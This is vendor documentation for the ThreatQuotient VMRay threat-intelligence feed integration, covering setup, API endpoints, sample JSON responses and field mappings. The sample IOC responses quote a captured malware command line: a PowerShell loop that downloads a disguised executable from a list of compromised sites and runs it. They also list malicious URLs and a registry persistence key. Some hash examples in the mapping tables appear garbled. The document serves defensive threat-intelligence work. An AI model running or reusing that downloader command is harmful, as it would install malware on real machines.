

ThreatQuotient



VMRay CDF

Version 1.1.2

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ThreatQuotient

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 **ThreatQ Supported**

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Support

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Support Email: support@threatq.com

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Integration Details

ThreatQuotient provides the following details for this integration:

Current Integration Version	1.1.2
Compatible with ThreatQ Versions	>= 4.34.0
Support Tier	ThreatQ Supported

Introduction



The VMRay Operation is required in order to use the VMRay CDF.

The VMRay Feed ingests threat intelligence data that has been submitted to VMRay via the VMRay Operation. VMRay returns Indicators of type URL, MD5, SHA-1, SHA-256, Fuzzy Hash, IPv4 Address, Registry Key, Filename, FQDN and Malware Objects, Attack Patterns and uses basic HTTP authentication based on API key.

The VMRay CDF provides the following feeds:

- **VMRay** - retrieves indicator objects from the VMRay API.
 - **VMRay Sample IOCs** - retrieves IOCs related to a sample with a specified ID.
 - **VMRay Analysis** - retrieves all dynamic and static analyses in the system or specific details.
 - **VMRay Mitre** - retrieves MITRE ATT&CK techniques of the sample with a specified ID.

The integration ingests the following system object types:

- Attack Patterns
- Indicators
 - Filename
 - FQDN
 - Fuzzy Hash
 - IPv4 Address
 - MD5
 - Registry Key
 - SHA-1
 - SHA-256
- Malware

Installation

Perform the following steps to install the integration:



The same steps can be used to upgrade the integration to a new version.

1. Log into <https://marketplace.threatq.com/>.
2. Locate and download the integration yaml file.
3. Navigate to the integrations management page on your ThreatQ instance.
4. Click on the **Add New Integration** button.
5. Upload the yaml file using one of the following methods:
 - Drag and drop the file into the dialog box
 - Select **Click to Browse** to locate the file on your local machine



ThreatQ will inform you if the feed already exists on the platform and will require user confirmation before proceeding. ThreatQ will also inform you if the new version of the feed contains changes to the user configuration. The new user configurations will overwrite the existing ones for the feed and will require user confirmation before proceeding.

You will still need to [configure and then enable](#) the feed.

Configuration



ThreatQuotient does not issue API keys for third-party vendors. Contact the specific vendor to obtain API keys and other integration-related credentials.

To configure the integration:

1. Navigate to your integrations management page in ThreatQ.
2. Select the **Commercial** option from the *Category* dropdown (optional).



If you are installing the integration for the first time, it will be located under the **Disabled** tab.

3. Click on the integration entry to open its details page.
4. Enter the following parameter under the **Configuration** tab:

PARAMETER	DESCRIPTION
Hostname	Enter your VMRay Hostname. The default value is https://cloud.vmrays.com.
API Key	Your VMRay API Key.
Enable SSL Certificate Verification	Enable or disable verification of the server's SSL certificate.
Disable Proxies	Enable this option if the feed should not honor proxies set in the ThreatQ UI.

< VMRay



Disabled ☐ Enabled

Uninstall

Additional Information

Integration Type: Feed

Version:

Configuration Activity Log

Hostname

https://cloud.vmrays.com

VMRay API Key



☒ Enable SSL Certificate Verification

If true, specifies that this feed should verify SSL connections with the provider.

☐ Disable Proxies

If true, specifies that this feed should not honor any proxies setup in ThreatQuotient.

Set indicator status to...

Active



Run Frequency

Every 24 Hours

5. Review any additional settings, make any changes if needed, and click on **Save**.
6. Click on the toggle switch, located above the *Additional Information* section, to enable it.

ThreatQ Mapping

VMRay

The VMRay feed retrieves indicator objects from the VMRay API.

GET {{hostname}}/rest/sample/<sample_id>

Sample Response:

```
{
  "data": {
    "sample_child_relations": [],
    "sample_child_relations_truncated": false,
    "sample_child_sample_ids": [],
    "sample_classifications": [
      "Banking Trojan",
      "Downloader"
    ],
    "sample_container_type": null,
    "sample_created": "2020-09-25T13:19:14",
    "sample_display_url": null,
    "sample_filename":
"27c6441d4847dab82ffdc6f8ff78ac2aee35867a6733d8a239e82df484b6de73doc",
    "sample_filesize": 439808,
    "sample_highest_vti_score": 100,
    "sample_highest_vti_severity": "malicious",
    "sample_id": 5369081,
    "sample_imphash": null,
    "sample_is_multipart": false,
    "sample_last_md_score": 0,
    "sample_last_reputation_severity": "unknown",
    "sample_last_vt_score": null,
    "sample_md5hash": "d9e89abaad1770bf5c30b68bed13b9d6",
    "sample_parent_relations": [],
    "sample_parent_relations_truncated": false,
    "sample_parent_sample_ids": [],
    "sample_password_protected": false,
    "sample_pe_signature": null,
    "sample_priority": 2,
    "sample_score": 100,
    "sample_severity": "malicious",
    "sample_sha1hash": "e47f9d8591fee2920a9dee8f1c89118c172728b6",
    "sample_sha256hash":
"27c6441d4847dab82ffdc6f8ff78ac2aee35867a6733d8a239e82df484b6de73",
    "sample_ssdeephash": "6144:FtMjcjDJmx7iajN1e9H0kRKJeov/HCzH/
fMlAqr3YapiwfkYF0zzzzzSzzzz6qZK:Ft3JAh3UKJnPQHnsYaAYFiqZK",
    "sample_threat_names": [
      "C2/Generic-A",

```

```

    "Gen:Variant.Razy.639347"
  ],
  "sample_type": "Word Document",
  "sample_url": null,
  "sample_verdict": "malicious",
  "sample_verdict_reason_code": null,
  "sample_verdict_reason_description": null,
  "sample_vti_score": 100,
  "sample_webif_url": "https://cloud.vmrays.com/user/sample/view?id=5369081"
},
"result": "ok"
}

```

ThreatQuotient provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE	PUBLISHED DATE	EXAMPLES	NOTES
.data.sample_classifications[]	Indicator.Attribute/ Malware.Attribute	Sample Classification	.data.sample_created	["Banking Trojan", "Downloader"]	N/A
.data.sample_type	Indicator.Attribute/ Malware.Attribute	Sample Type	.data.sample_created	Word Document	N/A
.data.sample_severity	Indicator.Attributes/ Malware.Attribute	Severity	.data.sample_created	malicious	N/A
.data.sample_filename	Indicator.Value	Filename	.data.sample_created	27c6441d4847dab8 2ffdc6f8ff78ac2aee3 5867a6733d8a239e8 2df484b6de73d oc	If the value is equal to 'sample.url' a Filename indicator is ingested having the value of .data.sample _display_url. By default, the URL indicators that are actually FQDNs will be ingested as FQDN Indicators via normalization.
.data.sample_filesize	Indicator.Attribute/ Malware.Attribute	File size	.data.sample_created	439808	N/A
.data.sample_highest_vti_score	Indicator.Attribute/ Malware.Attribute	Highest VTI Score	.data.sample_created	100	
.data.sample_highest_vti_severity	Indicator.Attribute/ Malware.Attribute	Highest VTI Severity	.data.sample_created	malicious	N/A
.data.sample_last_md_score	Indicator.Attribute/ Malware.Attribute	Last Score	.data.sample_created	0	N/A
.data.sample_last_reputation_severity	Indicator.Attribute/ Malware.Attribute	Last Reputation Severity	.data.sample_created	unknown	N/A

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE	PUBLISHED DATE	EXAMPLES	NOTES
.data.sample_priority	Indicator.Attribute/ Malware.Attribute	Priority	.data.sample_created	2	N/A
.data.sample_score	Indicator.Attribute/ Malware.Attribute	Score	.data.sample_created	100	N/A
.data.sample_vti_score	Indicator.Attribute/ Malware.Attribute	VTI Score	.data.sample_created	100	N/A
.data.sample_verdict	Indicator.Attribute/ Malware.Attribute	Verdict	.data.sample_created	malicious	If the attribute already exists, the value will be updated.
.data.sample_webif_url	Indicator.Attribute/ Malware.Attribute	VMRay Link	.data.sample_created	https://cloud.vmrays.com/user/sample/view?id=5369081	N/A
.data.sample_md5hash	Indicator.Value	MD5	.data.sample_created	d9e89abaad1770bfd9e89abaad1770bf5c30b68bed13b9d6	N/A
.data.sample_sha1hash	Indicator.Value	SHA-1	.data.sample_created	e47f9d8591fee2920a9dee8f1c89118c172728b6	N/A
.data.sample_sha256hash	Indicator.Value	SHA-256	.data.sample_created	27c6441d4847dab82ffdc6f8ff78ac2aee35867a6733d8a239e82df484b6de73	N/A
.data.threat_names[]	Related Malware	N/A	.data.sample_created	["C2/Generic-A", "Gen:Variant.Razy.639347"]	N/A

VMRay Sample IOCs

The VMRay Sample IOCs feed retrieves IOCs related to a sample with a specified ID.

GET {{hostname}}/rest/sample/<sample_id>/iocs

Sample Response:

```
{
  "data": {
    "iocs": {
      "domains": [
        {
          "countries": [
            "France",
            "United States"
          ],
          "country_codes": [
            "FR",
            "US"
          ],
          "domain": "www.ip-address.com",
          "id": 0,
          "ip_addresses": [
            "207.38.89.115",
            "209.126.124.166"
          ],
          "numeric_severity": 0,
          "original_domains": [
            "www.ip-adress.com"
          ],
          "parent_processes": [
            "C:\\\\Windows\\SysWOW64\\explorer.exe"
          ],
          "parent_processes_ids": [
            14
          ],
          "parent_processes_names": [
            "explorer.exe"
          ],
          "protocols": [
            "DNS",
            "HTTP",
            "HTTPS"
          ],
          "severity": "not_suspicious",
          "sources": [
            "Function Log",
            "Pcap",
            "Static Analysis"
          ],
        }
      ]
    }
  }
}
```

```

    "type": "domain_artifact",
    "verdict": "clean",
    "verdict_reason_code": null,
    "verdict_reason_description": "no description",
    "version": 3
  },
  {
    "countries": [
      "Ukraine"
    ],
    "country_codes": [
      "UA"
    ],
    "domain": "talantinua.com",
    "id": 0,
    "ip_addresses": [
      "91.235.143.208"
    ],
    "numeric_severity": 0,
    "original_domains": [
      "talantinua.com"
    ],
    "parent_processes": [
      "POWerShell Foreach($url in @('http://talantinua.com/apawn/
55555555.png', 'http://dellenbene.de/wpfsjfcrrp/55555555.png', 'http://
www.pauwstofferling.nl/pqwwmqzgjt/55555555.png', 'http://acrinetshop.com.br/
arnphkv/55555555.png', 'http://www.corbettasalvatore.com/bolcv/
55555555.png', 'http://lojacorpoemente.com.br/beuefuqpd/55555555.png', 'http://
sulduzkhavar.ir/fhrhowc/55555555.png', 'http://hillsborobookkeeping.com/
yowyvoux/55555555.png', 'http://evutt.ee/imjzrilmu/55555555.png', 'http://
anawabighschool.com/lipun/55555555.png', 'http://www.serramentispada.it/
odisaehjgg/55555555.png', 'http://papadeilumi.it/kupmmngtbbn/
55555555.png', 'http://www.crippacostruzioni.it/jnatzwzp/55555555.png', 'http://
emulatorgame.ir/ocdxvkhvmtjx/55555555.png', '15')) { try{$path = 'C:\\Drivers\\
\\Lomurs.exe'; (New-Object Net.WebClient).DownloadFile($url.ToString(),
$path);saps $path; break;}catch{write-host $_.Exception.Message}}"
    ],
    "parent_processes_ids": [
      6
    ],
    "parent_processes_names": [
      "powershell.exe"
    ],
    "protocols": [
      "DNS",
      "HTTP"
    ],
    "severity": "not_suspicious",
    "sources": [
      "Command Line",

```

```

        "Function Log",
        "Pcap",
        "Static Analysis"
    ],
    "type": "domain_artifact",
    "verdict": "clean",
    "verdict_reason_code": null,
    "verdict_reason_description": "no description",
    "version": 3
  }
],
"email_addresses": [],
"emails": [],
"registry": [{
  "reg_key_name": "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\
\\CurrentVersion\\Run\\hjgtje",
  "verdict": "suspicious",
  "verdict_reason_description": "no description",
  "threat_names": ["C2/Generic-A", "Gen:Variant.Razy.639347"],
  "severity": "malicious",
  "numeric_severity": 0
}],
"filenames": [
  {
    "analysis_ids": [
      5723697
    ],
    "categories": [
      "Downloaded File"
    ],
    "classifications": [],
    "filename": "C:\\Users\\qj4SUKboE\\AppData\\Roaming\\Microsoft\\
\\Fteuiul\\ygzyxz.exe",
    "id": 0,
    "ioc": true,
    "ioc_type": "filename",
    "numeric_severity": 0,
    "operations": [
      "Access",
      "Create",
      "Read"
    ],
    "relations": [
      {
        "analysis_id": 5723697,
        "relations": {
          "file": [
            "21"
          ],
          "gobject": [

```

```

        "15809:file_obj",
        "25887:file_obj",
        "16910:file_obj",
        "16912:file_obj",
        "32458:file_obj",
        "16915:file_obj"
    ],
    "process": [
        "34",
        "36",
        "37",
        "38",
        "7",
        "39",
        "10",
        "13",
        "14",
        "30"
    ]
    }
}
],
"severity": "not_suspicious",
"threat_names": [],
"type": "filename_artifact",
"verdict": "clean",
"verdict_reason_code": null,
"verdict_reason_description": "no description",
"version": 3,
"vtis": [
    "9c9cedc8da4444bd9e6f5e570724ac1d"
]
},
{
    "analysis_ids": [
        5723693
    ],
    "categories": [
        "Downloaded File"
    ],
    "classifications": [],
    "filename": "C:\\Users\\zgSpbU9Lu\\AppData\\Roaming\\Microsoft\\
\\Zqrgzsu\\maayu.exe",
    "id": 0,
    "ioc": true,
    "ioc_type": "filename",
    "numeric_severity": 0,
    "operations": [
        "Access",
        "Create",

```



```

        "Read"
    ],
    "relations": [
        {
            "analysis_id": 5723693,
            "relations": {
                "file": [
                    "27"
                ],
                "gobject": [
                    "19518:file_obj",
                    "16597:file_obj"
                ],
                "process": [
                    "35",
                    "36",
                    "37",
                    "38",
                    "7",
                    "10",
                    "13",
                    "14",
                    "30"
                ]
            }
        }
    ],
    "severity": "not_suspicious",
    "threat_names": [],
    "type": "filename_artifact",
    "verdict": "clean",
    "verdict_reason_code": null,
    "verdict_reason_description": "no description",
    "version": 3,
    "vtis": [
        "2cd14364081b4f7395a6a62f72a27109"
    ]
}
],
"files": [
    {
        "analysis_ids": [
            5723693,
            5723697,
            5723695
        ],
        "categories": [
            "Downloaded File"
        ],
        "classifications": [

```

```

        "Banking Trojan",
        "Virus"
    ],
    "file_size": 6005264,
    "filename": "55555555.png",
    "filenames": [
        "55555555.png",
        "C:\\\\Drivers\\Lomurs.exe"
    ],
    "hashes": [
        {
            "imp_hash": "9a78c76417431884c38d6c29ae212b7b",
            "md5_hash": "1d7a0a18bb20b931bdefeda61b7165ce",
            "sha1_hash": "f5aca6ec1d3a99df00806e931d8729e23fec8bb1",
            "sha256_hash":
"369ae641570b72f61ef7989182dc478e3ad0325faa085811a863988184697c5e",
            "ssdeep_hash":
"6144:f4thSUHz9HRg1c5Fm0Dq7VTu0Cdvm2MU3Iv7HCuqBl9scWBJy:yh3Hz9HeWFJDmV61AXuu6D"
        }
    ],
    "id": 0,
    "ioc": true,
    "ioc_type": "file",
    "mime_type": "application/vnd.microsoft.portable-executable",
    "norm_filename": "55555555.png",
    "numeric_severity": 4,
    "operations": [
        "Access"
    ],
    "parent_files": [
        "871c21da68f87ce182185f67db5ff485ac8c8b773fd9446d15700d7dacf4dd6c",
        "042ba4e9ed394411a7fea88379be5f9672934282cdad5479d1e620582f425dc5",
        "78286be90a12fd17067d996c59a2ec43ec676020564da02a8b14ec0da9086997"
    ],
    "parent_processes": [
        "\"C:\\\\Drivers\\Lomurs.exe\"",
        "POWerShell Foreach($url in @('http://talantinua.com/apawn/55555555.png', 'http://dellenbene.de/wpfsjfcpr/55555555.png', 'http://www.pauwstoffer.nl/pqwwmqzgjt/55555555.png', 'http://acrinetshop.com.br/arnphkv/55555555.png', 'http://www.corbettasalvatore.com/bolcv/55555555.png', 'http://lojacorpoemente.com.br/beuefuqpd/55555555.png', 'http://sulduzkhavar.ir/fhrhowc/55555555.png', 'http://hillsborobookkeeping.com/yowyvoux/55555555.png', 'http://evutt.ee/imjzrilmu/55555555.png', 'http://anawabighschool.com/lipun/55555555.png', 'http://www.serramentispada.it/odisaehjgg/55555555.png', 'http://papadeilumi.it/kupmmngtbbn/55555555.png', 'http://www.crippacostruzioni.it/jnatzwzp/55555555.png', 'http://emulatorgame.ir/ocdxvkhvmtjx/55555555.png', '15')) { try{$path = 'C:\\\\Drivers\\Lomurs.exe'; (New-Object Net.WebClient).DownloadFile($url.ToString(), $path);saps $path; break;}catch{write-host $_.Exception.Message}}"
    ],

```

```

    "parent_processes_ids": [
      6,
      7
    ],
    "parent_processes_names": [
      "lomurs.exe",
      "powershell.exe"
    ],
    "relations": [
      {
        "analysis_id": 5723697,
        "relations": {
          "file": [
            "21"
          ],
          "gobject": [
            "7865:file_obj",
            "7860:file_obj",
            "7885:file_obj"
          ],
          "process": [
            "34",
            "36",
            "37",
            "30"
          ]
        }
      }
    ],
    "resource_url": [],
    "severity": "malicious",
    "threat_names": [
      "VBS.Laburrak.7.Gen"
    ],
    "type": "file_artifact",
    "verdict": "Malicious",
    "verdict_reason_code": null,
    "verdict_reason_description": "no description",
    "version": 3,
    "vtis": [
      "76270f7892e444e3b174228ee799adfb",
      "e3c0e5a1c76049b99963392cdc42f72a"
    ]
  },
  "urls": [{
    "categories": [
      "Contacted"
    ]
  }],
  "content_types": [],

```

```

    "countries": [
      "United States"
    ],
    "country_codes": [
      "US"
    ],
    "id": 0,
    "ip_addresses": [
      "34.102.136.180"
    ],
    "methods": [
      "GET"
    ],
    "numeric_severity": 0,
    "original_urls": [
      "http://technik.com.hk/system/storage/download/st10.mp3"
    ],
    "user_agents": ["Agent"],
    "verdict": "clean",
    "verdict_reason_code": null,
    "verdict_reason_description": "no description",
    "version": 3,
    "severity": "malicious",
    "sources": ["Function Log"],
    "type": "url_artifact",
    "url": "http://technik.com.hk/system/storage/download/st10.mp3"
  }]
}
}
}

```

ThreatQuotient provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE	PUBLISHED DATE	EXAMPLES	NOTES
.data.iocs.domains[].domain	Indicator.Value	URL	N/A	www.ip-adress.com	N/A
.data.iocs.domains[].ip_addresses[]	Indicator.Value	IP Address	N/A	['207.38.89.115', '209.126.124.166']	N/A
.data.iocs.domains[].countries[]	Indicator.Attribute	Country	N/A	['France', 'United States']	N/A
.data.iocs.domains[].numeric_severity	Indicator.Attribute	Severity	N/A	0	N/A
.data.iocs.domains[].sources[]	Indicator.Attribute	Source	N/A	['Function Log', 'Pcap', 'Static Analysis']	N/A
.data.iocs.domains[].verdict	Indicator Attribute	VMRay Verdict	N/A	clean	If the attribute already exists, the value will be updated.
.data.iocs.domains[].severity	Indicator.Attribute	Severity	N/A	not_suspicious	N/A
.data.iocs.domains[].protocols[]	Indicator.Attribute	Protocol	N/A	['DNS', 'HTTP', 'HTTPS']	N/A

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE	PUBLISHED DATE	EXAMPLES	NOTES
.data.iocs.domains[].verdict_reason_description	Indicator.Attribute	Verdict Reason Description	N/A	no description	N/A
.data.iocs.fileNames[].categories[]	Indicator.Attribute	Category	N/A	['Downloaded File']	N/A
.data.iocs.fileNames[].filename	Indicator.Value	Filename	N/A	C:\Users\zgSpbU9Lu\AppData\Roaming\Microsoft\Zqrgzsu\maayu.exe	N/A
.data.iocs.fileNames[].numeric_severity	Indicator.Attribute	Numeric Severity	N/A	0	N/A
.data.iocs.fileNames[].severity	Indicator.Attribute	Severity	N/A	not_suspicious	N/A
.data.iocs.fileNames[].verdict	Indicator.Attribute	VMRay Verdict	N/A	clean	If the attribute already exists, the value will be updated.
.data.iocs.fileNames[].verdict_reason_description	Indicator.Attribute	Verdict Reason Description	N/A	no description	N/A
.data.iocs.files[].categories[]	Indicator.Attribute	Category	N/A	['Downloaded Files']	N/A
.data.iocs.files[].verdict	Indicator.Attribute	VMRay Verdict	N/A	malware	If the attribute already exists, the value will be updated.
.data.iocs.files[].file_size	Indicator.Attribute	File size	N/A	6005264	N/A
.data.iocs.files[].filename	Indicator.Value	Filename	N/A	55555555.png	N/A
.data.iocs.files[].filenames[]	Indicator.Value	Filename	N/A	['55555555.png', 'C:\Drivers\Lomurs.exe']	N/A
.data.iocs.files[].hashes[].md5_hash	Related Indicator.Value	MD5	N/A	d9e89abaad1770bf5c30b68bed13b9d6	N/A
.data.iocs.files[].hashes[].sha1_hash	Related Indicator.Value	SHA-1	N/A	a8788d9e89abaad1770bf5c30b68bed13b9d6	N/A
.data.iocs.files[].hashes[].sha256_hash	Related Indicator.Value	SHA-256	N/A	e4233acd9e89abaad1770bf5c30b68bed13b9d6	N/A
.data.iocs.files[].type	Indicator.Attribute	Type	N/A	file_artifact	N/A
.data.iocs.files[].verdict_reason_description	Indicator.Attribute	Verdict Reason Description	N/A	no description	N/A
.data.iocs.files[].severity	Indicator.Attribute	Severity	N/A	malicious	N/A
.data.iocs.files[].threat_names[]	Related Malware	N/A	N/A	['VBS.Laburrak.7.Gen']	N/A
.data.iocs.files[].numeric_severity	Indicator.Attribute	Numeric Severity	N/A	4	N/A
.data.iocs.files[].operations[]	Indicator.Attribute	Operation	N/A	['Access']	N/A
.data.iocs.ips[].country	Indicator.Attribute	Country	N/A	United States	N/A

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE	PUBLISHED DATE	EXAMPLES	NOTES
.data.iocs.ips[].domains[]	Related Indicator.Value	FQDN	N/A	talantinua.com	N/A
.data.iocs.ips[].ip_address	Related Indicator.Value	IP Address	N/A	91.235.143.208	N/A
.data.iocs.ips[].severity	Indicator.Attribute	Severity	N/A	7	N/A
.data.iocs.ips[].numeric_severity	Indicator.Attribute	Numeric Severity	N/A	malware	N/A
.data.iocs.ips[].protocols[]	Indicator.Attribute	Protocol	N/A	['DNS']	N/A
.data.iocs.ips[].sources[]	Indicator.Attribute	Source	N/A	['Pcap']	N/A
.data.iocs.ips[].type	Indicator.Attribute	Type	N/A	ip	N/A
.data.iocs.ips[].verdict	Indicator.Attribute	VMRay Verdict	N/A	suspicious	If the attribute already exists, the value will be updated.
.data.iocs.ips[].verdict_reason_description	Indicator.Attribute	Verdict Reason Description	N/A	no description	N/A
.data.iocs.registry[].reg_key_name	Indicator.Value	Registry	N/A	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\hjtje	N/A
.data.iocs.registry[].verdict	Indicator.Attribute	Verdict	N/A	suspicious	N/A
.data.iocs.registry[].verdict_reason_description	Indicator.Attribute	Verdict Reason Description	N/A	no description	N/A
.data.iocs.registry[].threat_names[]	Related Malware	N/A	N/A	['C2/Generic-A', 'Gen:Variant.Razy.639347']	N/A
.data.iocs.registry[].severity	Indicator.Attribute	Severity	N/A	malicious	N/A
.data.iocs.registry[].numeric_severity	Indicator.Attribute	Numeric Severity	N/A	0	N/A
.data.iocs.urls[].categories[]	Indicator.Attribute	Category	N/A	['Contacted']	N/A
.data.iocs.urls[].countries[]	Indicator.Attribute	Country	N/A	['United States']	N/A
.data.iocs.urls[].ip_addresses[]	Related Indicator.Value	IP Address	N/A	['34.102.136.180']	N/A
.data.iocs.urls[].original_urls[]	Related Indicator.Value	URL	N/A	['http://talantinua.com/apawn/55555555.png']	N/A
.data.iocs.urls[].severity	Indicator.Attribute	Severity	N/A	malicious	N/A
.data.iocs.urls[].sources[]	Indicator.Attribute	Source	N/A	['Function Log']	N/A
.data.iocs.urls[].verdict	Indicator.Attribute	VMRay Verdict	N/A	clean	If the attribute already exists, the value will be updated.
.data.iocs.urls[].type	Indicator.Attribute	Type	N/A	url_artifact	N/A
.data.iocs.urls[].user_agents[]	Indicator.Attribute	User Agent	N/A	['Agent']	N/A

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE	PUBLISHED DATE	EXAMPLES	NOTES
.data.iocs.urls[].url	Related Indicator.Value	URL	N/A	http://technik.com.hk/system/storage/download/st10.mp3	N/A
.data.iocs.urls[].numeric_severity	Indicator.Attribute	Numeric Severity	N/A	0	N/A
.data.iocs.urls[].verdict_reason_description	Indicator.Attribute	Verdict Reason Description	N/A	no description	N/A

VMRay Analysis

The VMRay Analysis retrieves all dynamic and static analyses in the system or specific details.

GET {{hostname}}/rest/analysis/sample/<sample_id>

Sample Response:

```
{
  "data": [{
    "analysis_analyzer_id": 6,
    "analysis_analyzer_name": "vmray_static",
    "analysis_analyzer_version": "4.0.0",
    "analysis_billing_type": "analyzer",
    "analysis_configuration_id": null,
    "analysis_created": "2020-09-25T14:38:49",
    "analysis_document_password": null,
    "analysis_enable_local_av": true,
    "analysis_jobrule_sampletype": "Microsoft Office Documents",
    "analysis_id": 5723552,
    "analysis_ioc_aggregation_state": "ok",
    "analysis_job_id": 6153152,
    "analysis_job_started": "2020-09-25T14:38:48",
    "analysis_job_type": "only_static_analysis",
    "analysis_jobrule_id": null,
    "analysis_lock_status": "unlocked",
    "analysis_max_recursive_samples_reached": false,
    "analysis_mitre_attack_aggregation_state": "ok",
    "analysis_platform": "windows",
    "analysis_prescript_force_admin": false,
    "analysis_prescript_id": null,
    "analysis_priority": 1,
    "analysis_published": false,
    "analysis_report_version": 10,
    "analysis_result_code": 1,
    "analysis_result_str": "Operation completed successfully.",
    "analysis_sample_id": 5369081,
    "analysis_sample_md5": "d9e89abaad1770bf5c30b68bed13b9d6",
    "analysis_sample_sha1": "e47f9d8591fee2920a9dee8f1c89118c172728b6",
    "analysis_sample_sha256":
"27c6441d4847dab82ffdc6f8ff78ac2aee35867a6733d8a239e82df484b6de73",
    "analysis_sample_ssdeep": "6144:FtMjcjDJmx7iajN1e9H0kRKJeov/HCzH/
fMLAqr3YapiwfkYF0zzzzzSzzzz6qZK:Ft3JAH3UKJnPQHnsYaAYFiqZK",
    "analysis_serialized_result": {
      "code": 1,
      "extra_args": {},
      "fmt_args": []
    },
    "analysis_severity": "malicious",
    "analysis_size": 1378573,
    "analysis_system_time": null,
```



```

"analysis_tags": [],
"analysis_verdict": "malicious",
"analysis_verdict_reason_code": null,
"analysis_verdict_reason_description": null,
"analysis_vm_id": null,
"analysis_vmhost_id": 4,
"analysis_vmhost_name": "cloud-worker-02",
"analysis_vti_aggregation_state": "ok",
"analysis_vti_built_in_rules_version": 3.7,
"analysis_vti_custom_rules_hash": "d41d8cd98f00b204e9800998ecf8427e",
"analysis_vti_score": 100,
"analysis_webif_url": "https://cloud.vmrays.com/user/analysis/view?
id=5723552&sub=%2Freport%2Foverview.html",
"analysis_yara_latest_ruleset_date": "2020-09-07T14:03:08",
"analysis_yara_match_count": 0
}],
"result": "ok"
}

```

ThreatQuotient provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE	PUBLISHED DATE	EXAMPLES	NOTES
.data[].analysis_jobrule_sampletype	Indicator.Attribute	Analysis Jobrule Sampletype	N/A	Microsoft Office Documents	N/A
.data[].analysis_severity	Indicator.Attribute	Analysis Severity	N/A	malicious	N/A
.data[].analysis_verdict	Indicator.Attribute	Analysis Verdict	N/A	malicious	N/A
.data[].analysis_analyzer_name	Indicator.Attribute	Analyzer Name	N/A	vmray_static	N/A
.data[].analysis_platform	Indicator.Attribute	Analysis Platform	N/A	windows	N/A
.data[].analysis_priority	Indicator.Attribute	Analysis Priority	N/A	1	N/A
.data[].analysis_yara_match_count	Indicator.Attribute	Analysis Yara Match	N/A	0	N/A
.data[].analysis_webif_url	Indicator.Attribute	Analysis Web URL	N/A	https://cloud.vmrays.com/user/analysis/view?id=5723552&sub=%2Freport%2Foverview.html	N/A
.data[].analysis_sample_md5	Indicator.Value	MD5	N/A	d9e89abaad1770bf5c30b68bed13b9d6	N/A
.data[].analysis_sample_sha1	Indicator.Value	SHA-1	N/A	e47f9d8591fee2920a9dee8f1c89118c172728b6	N/A
.data[].analysis_sample_sha256	Indicator.Value	SHA-256	N/A	27e47f9d8591fee2920a9dee8f1c89118c172728b6234343434	N/A
.data[].analysis_sample_ssdeep	Indicator.Value	Fuzzy Hash	N/A	6144:6144:FtMjcjDjmx7iajN1e9HOKRKJeov/HcZH/fMIAqr3YapiwfkYFOzzzzSzzzz6qZK:Ft3JAh3UKJnPQHnsYaAYFiqZK	N/A

VMRay Mitre

The VMRay Mitre feed retrieves MITRE ATT&CK techniques of the sample with a specified ID.

GET {{hostname}}/rest/sample/<sample_id>/mitre_attack

Sample Response:

```
{
  "data": {
    "mitre_attack_techniques": [
      {
        "analysis_ids": [
          5658609,
          5658612
        ],
        "id": 40,
        "matrix_version": "2019-04-25T20:53:07.719000",
        "tactics": [
          "Persistence"
        ],
        "technique": "Registry Run Keys / Startup Folder",
        "technique_id": "T1060",
        "version": 1.0
      },
      {
        "analysis_ids": [
          5658609,
          5658612
        ],
        "id": 82,
        "matrix_version": "2019-04-25T20:53:07.719000",
        "tactics": [
          "Defense Evasion"
        ],
        "technique": "Modify Registry",
        "technique_id": "T1112",
        "version": 1.0
      },
      {
        "analysis_ids": [
          5658609,
          5658612
        ],
        "id": 101,
        "matrix_version": "2019-04-25T20:53:07.719000",
        "tactics": [
          "Discovery"
        ],
        "technique": "Query Registry",
        "technique_id": "T1012",

```

```

    "threat_indicators": [
      {
        "analysis_ids": [
          5658609,
          5658612
        ],
        "category": "Data Collection",
        "classifications": [],
        "id": 74203053,
        "operation": "Reads sensitive browser data",
        "score": 2
      },
      {
        "analysis_ids": [
          5658609,
          5658612
        ],
        "category": "Discovery",
        "classifications": [],
        "id": 74203104,
        "operation": "Possibly does reconnaissance",
        "score": 2
      }
    ],
    "version": 1.0
  ]
},
"result": "ok"
}

```

ThreatQuotient provides the following default mapping for this feed:

FEED DATA PATH	THREATQ ENTITY	THREATQ OBJECT TYPE OR ATTRIBUTE	PUBLISHED DATE	EXAMPLES	NOTES
.data.mitre_attack_techniques[]. technique_id	Related Attack Pattern	N/A	N/A	T1012	Linked to already existing TQ MITRE Attack Pattern.

Average Feed Run



Object counts and Feed runtime are supplied as generalities only - objects returned by a provider can differ based on credential configurations and Feed runtime may vary based on system resources and load.

VMRay CDF

METRIC	RESULT
Run Time	14 minutes
Indicators	980
Indicator Attributes	9,431
Malware	16
Malware Attributes	1,240
Attack Pattern	3

Change Log

- **Version 1.1.2**
 - Users can now configure the VMRay hostname utilized by the integration.
 - Added the following new configuration parameters:
 - **Hostname** - allows you to enter the VMRay hostname for the integration to use.
 - **Enable SSL Certificate Verification** - enable or disable verification of the server's SSL certificate.
 - **Disable Proxies** - determine if the feed should honor proxy settings set in the ThreatQ UI.
- **Version 1.1.1**
 - Added an ingest rule for the VMRay Verdict attribute.
 - Renamed the Verdict attribute to VMRay Verdict.
- **Version 1.1.0**
 - Removed attribute redundancy.
- **Version 1.0.2**
 - Added X-App-Name in the request header.
- **Version 1.0.1**
 - Fixed misspellings of Indicator Attribute names.



The **threatq:merge-attributes** artisan command can be used to merge previously ingested attributes with the ones named correctly.

See the Merge Attributes section under the [ThreatQ Commands](#) topic on the ThreatQ Help Center for more details about this command.

Merge Attributes Command Example:



```
sudo php artisan down
```

```
sudo php artisan threatq:merge-attributes --source VMRay --old-name 'Highest VTI Severity' --merge-name 'Highest VTI Severity'
```

```
sudo php artisan threatq:merge-attributes --source VMRay --old-name 'Sample Clasification' --merge-name 'Sample Classification'
```

```
sudo php artisan up
```

- **Version 1.0.0**
 - Initial release